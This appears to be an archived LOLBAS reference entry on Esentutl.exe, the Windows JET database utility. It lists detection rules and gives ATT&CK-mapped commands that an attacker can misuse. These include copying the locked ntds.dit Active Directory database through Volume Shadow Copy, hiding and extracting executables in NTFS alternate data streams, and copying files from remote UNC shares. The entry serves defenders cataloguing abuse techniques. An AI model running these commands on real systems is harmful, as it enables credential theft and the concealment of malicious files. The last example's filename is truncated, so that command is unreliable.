Esentutl on LOLBAS

Archived: 2026-04-05 13:58:10 UTC

.. /Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Paths:

- C:\Windows\System32\esentutl.exe
- C:\Windows\SysWOW64\esentutl.exe

Resources:

- https://twitter.com/egre55/status/985994639202283520
- https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
- https://twitter.com/bohops/status/1094810861095534592

Acknowledgements:

- egre55 (@egre55)
- Mike Cary (@grayfold3d)

Detections:

- Sigma: proc_creation_win_esentutl_params.yml
- Sigma: proc_creation_win_esentutl_webcache.yml
- Sigma: registry_event_esentutl_volume_shadow_copy_service_keys.yml
- Sigma: proc_creation_win_esentutl_sensitive_file_copy.yml
- Splunk: esentutl_sam_copy.yml
- Elastic: credential_access_copy_ntds_sam_volshadowcp_cmdline.toml

Copy

1. Copies the source VBS file to the destination VBS file.

   ```
   esentutl.exe /y C:\Windows\Temp\file.source.vbs /d C:\Windows\Temp\file.dest.vbs /o
   ```

   Use case

   Copies files from A to B

   Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1105: Ingress Tool Transfer

2. Copies a (locked) file using Volume Shadow Copy

```
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d C:\Windows\Temp\file.dit
```

Use case

Copy/extract a locked file such as the AD Database

Privileges required

Admin

Operating systems

Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server

ATT&CK® technique

T1003.003: NTDS

Alternate data streams

1. Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.

```
esentutl.exe /y C:\Windows\Temp\file.exe /d C:\Windows\Temp\file.ext:file.exe /o
```

Use case

Copy file and hide it in an alternate data stream as a defensive counter measure

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1564.004: NTFS File Attributes

2. Copies the source Alternate Data Stream (ADS) to the destination EXE.

```
esentutl.exe /y C:\Windows\Temp\file.ext:file.exe /d C:\Windows\Temp\file.exe /o
```

Use case

Extract hidden file within alternate data streams

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1564.004: NTFS File Attributes

3. Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.

```
esentutl.exe /y \\servername\C$\Windows\Temp\file.exe /d C:\Windows\Temp\file.ext:file.exe /o
```

Use case

Copy file and hide it in an alternate data stream as a defensive counter measure

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1564.004: NTFS File Attributes

Download

1. Copies the source EXE to the destination EXE file

```
esentutl.exe /y \\servername\C$\Windows\Temp\file.source.exe /d \\servername\C$\Windows\Temp\file.dest.
```

Use case

Use to copy files from one unc path to another

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1564.004: NTFS File Attributes
